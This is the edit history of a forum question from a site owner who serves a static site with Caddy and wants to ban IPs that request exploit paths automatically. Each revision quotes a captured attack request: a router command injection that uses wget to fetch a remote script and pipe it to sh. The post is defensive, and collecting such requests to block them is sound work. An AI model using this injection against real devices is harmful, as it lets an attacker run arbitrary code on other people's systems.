Post History
I have a static website I serve with Caddy. The Caddy is inside a container. I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are: /cgi-bin/luc...
#2: Post edited
by
Michael
·
2024-10-02T01:45:18Z (5 months ago)
Fix markdown with backtick inside
How to automatically block IPs that try exploit URLs?
- I have a static website I serve with Caddy. The Caddy is inside a container.
- I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are:
* `/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)`- * `/backup`
- * `/wp-admin/css/about.php`
- These are obviously hackers trying some common exploits to see if they'll get lucky and I want to block them automatically. For example, I could provide a list of string patterns and maybe any IP that requests a path that matches those will get an IP ban for a month.
- I realize hackers can obtain fresh IPs in various ways. I still want to do the IP ban just to make their life harder.
- How can I do this?
- I have a static website I serve with Caddy. The Caddy is inside a container.
- I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are:
- * ``/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)``
- * `/backup`
- * `/wp-admin/css/about.php`
- These are obviously hackers trying some common exploits to see if they'll get lucky and I want to block them automatically. For example, I could provide a list of string patterns and maybe any IP that requests a path that matches those will get an IP ban for a month.
- I realize hackers can obtain fresh IPs in various ways. I still want to do the IP ban just to make their life harder.
- How can I do this?
#1: Initial revision
by
matthewsnyder
·
2024-10-01T19:24:33Z (5 months ago)
How to automatically block IPs that try exploit URLs?
I have a static website I serve with Caddy. The Caddy is inside a container. I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are: * `/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)` * `/backup` * `/wp-admin/css/about.php` These are obviously hackers trying some common exploits to see if they'll get lucky and I want to block them automatically. For example, I could provide a list of string patterns and maybe any IP that requests a path that matches those will get an IP ban for a month. I realize hackers can obtain fresh IPs in various ways. I still want to do the IP ban just to make their life harder. How can I do this?